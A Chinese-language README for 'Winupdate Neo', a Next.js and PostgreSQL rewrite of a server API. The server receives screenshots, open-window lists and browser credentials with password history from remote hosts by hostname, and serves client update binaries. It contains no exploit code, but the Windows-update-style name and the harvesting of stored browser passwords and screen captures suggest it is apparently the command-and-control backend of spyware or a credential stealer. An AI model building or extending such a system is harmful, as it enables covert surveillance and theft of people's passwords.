189 lines
4.7 KiB
Markdown
189 lines
4.7 KiB
Markdown
# Winupdate Neo
|
||
|
||
这是使用 Next.js + Prisma + PostgreSQL 重写的 Winupdate 项目的 API 部分。
|
||
|
||
## 技术栈
|
||
|
||
- **前端框架**: Next.js 15
|
||
- **数据库**: PostgreSQL + Prisma ORM
|
||
- **包管理器**: Bun
|
||
- **文件存储**: MinIO(替代 GridFS)
|
||
- **语言**: TypeScript
|
||
|
||
## 项目结构
|
||
|
||
```
|
||
app/
|
||
├── api/ # API 路由
|
||
│ ├── hosts/
|
||
│ │ ├── route.ts # 主机列表 API
|
||
│ │ └── [hostname]/
|
||
│ │ ├── screenshots/
|
||
│ │ │ └── route.ts # 截图上传/获取 API
|
||
│ │ ├── credentials/
|
||
│ │ │ └── route.ts # 凭据管理 API
|
||
│ │ └── time-distribution/
|
||
│ │ └── route.ts # 时间分布统计 API
|
||
│ ├── screenshots/
|
||
│ │ └── [fileId]/
|
||
│ │ └── route.ts # 截图文件服务 API
|
||
│ ├── downloads/
|
||
│ │ └── [fileId]/
|
||
│ │ └── route.ts # 文件下载 API
|
||
│ ├── version/
|
||
│ │ └── route.ts # 版本信息 API
|
||
│ └── upload/
|
||
│ └── version/
|
||
│ └── route.ts # 版本上传 API
|
||
├── api-test/ # API 测试页面
|
||
└── ... # 其他 Next.js 文件
|
||
|
||
lib/
|
||
├── prisma.ts # Prisma 客户端配置
|
||
├── config.ts # 应用配置
|
||
├── fileStorage.ts # 文件存储工具
|
||
├── middleware.ts # 中间件工具
|
||
└── push.ts # 推送通知工具
|
||
|
||
prisma/
|
||
├── schema.prisma # 数据库模式
|
||
└── migrations/ # 数据库迁移文件
|
||
```
|
||
|
||
## 快速开始
|
||
|
||
### 1. 安装依赖
|
||
|
||
```bash
|
||
bun install
|
||
```
|
||
|
||
### 2. 配置环境变量
|
||
|
||
复制 `.env.example` 文件为 `.env` 并配置相应的设置:
|
||
|
||
```bash
|
||
cp .env.example .env
|
||
```
|
||
|
||
配置文件内容示例:
|
||
|
||
```env
|
||
# Database
|
||
DATABASE_URL="postgresql://username:password@localhost:5432/winupdate_neo?schema=public"
|
||
|
||
# Auth
|
||
AUTH_USERNAME=admin
|
||
AUTH_PASSWORD=password
|
||
|
||
# Port
|
||
PORT=3000
|
||
|
||
# MinIO Configuration
|
||
MINIO_ENDPOINT=192.168.5.13
|
||
MINIO_PORT=9000
|
||
MINIO_USE_SSL=false
|
||
MINIO_ACCESS_KEY=your_access_key
|
||
MINIO_SECRET_KEY=your_secret_key
|
||
MINIO_BUCKET_NAME=winupdate
|
||
```
|
||
|
||
### 3. 初始化数据库
|
||
|
||
```bash
|
||
# 生成 Prisma 客户端
|
||
bun run db:generate
|
||
|
||
# 运行数据库迁移
|
||
bun run db:migrate
|
||
```
|
||
|
||
### 4. 启动开发服务器
|
||
|
||
```bash
|
||
bun run dev
|
||
```
|
||
|
||
## API 端点
|
||
|
||
### 主机管理
|
||
|
||
- `GET /api/hosts` - 获取主机列表
|
||
- `POST /api/hosts/{hostname}/screenshots` - 上传截图
|
||
- `GET /api/hosts/{hostname}/screenshots` - 获取截图记录
|
||
- `GET /api/hosts/{hostname}/time-distribution` - 获取时间分布统计
|
||
|
||
### 凭据管理
|
||
|
||
- `POST /api/hosts/{hostname}/credentials` - 上传凭据
|
||
- `GET /api/hosts/{hostname}/credentials` - 获取凭据
|
||
|
||
### 文件服务
|
||
|
||
- `GET /api/screenshots/{fileId}` - 获取截图文件
|
||
- `GET /api/downloads/{fileId}` - 下载文件
|
||
|
||
### 版本管理
|
||
|
||
- `GET /api/version` - 获取最新版本信息
|
||
- `POST /api/upload/version` - 上传新版本
|
||
|
||
## 数据库模型
|
||
|
||
### Host
|
||
- 主机基本信息(hostname, lastUpdate)
|
||
|
||
### Record
|
||
- 截图记录(timestamp, windows, screenshots)
|
||
|
||
### Window
|
||
- 窗口信息(title, path, memory)
|
||
|
||
### Screenshot
|
||
- 截图文件信息(fileId, filename, monitorName)
|
||
|
||
### Credential
|
||
- 凭据信息(hostname, username, browser, url, login)
|
||
|
||
### Password
|
||
- 密码历史(value, timestamp)
|
||
|
||
### Version
|
||
- 版本信息(version, fileId, checksum, isLatest)
|
||
|
||
## 与原项目的区别
|
||
|
||
1. **数据库**: 从 MongoDB 迁移到 PostgreSQL
|
||
2. **ORM**: 使用 Prisma 替代 Mongoose
|
||
3. **文件存储**: 使用本地文件系统替代 GridFS
|
||
4. **框架**: 从 Express 迁移到 Next.js API Routes
|
||
5. **包管理**: 使用 Bun 替代 npm/yarn
|
||
|
||
## 开发工具
|
||
|
||
```bash
|
||
# 数据库相关
|
||
bun run db:generate # 生成 Prisma 客户端
|
||
bun run db:migrate # 运行数据库迁移
|
||
bun run db:reset # 重置数据库
|
||
bun run db:studio # 打开 Prisma Studio
|
||
|
||
# 开发
|
||
bun run dev # 启动开发服务器
|
||
bun run build # 构建生产版本
|
||
bun run start # 启动生产服务器
|
||
bun run lint # 代码检查
|
||
```
|
||
|
||
## 注意事项
|
||
|
||
1. 文件存储在 MinIO 对象存储中,按分层结构组织
|
||
2. 需要确保 PostgreSQL 数据库和 MinIO 服务正在运行
|
||
3. 所有配置通过环境变量管理,包括数据库、认证和 MinIO 设置
|
||
4. MinIO 需要预先创建对应的 bucket
|
||
5. 推送通知功能目前只是控制台日志,可以根据需要集成真实的推送服务
|
||
|
||
## API 兼容性
|
||
|
||
这个重写版本保持了与原始 Express 应用相同的 API 接口,确保客户端代码无需修改即可使用。
|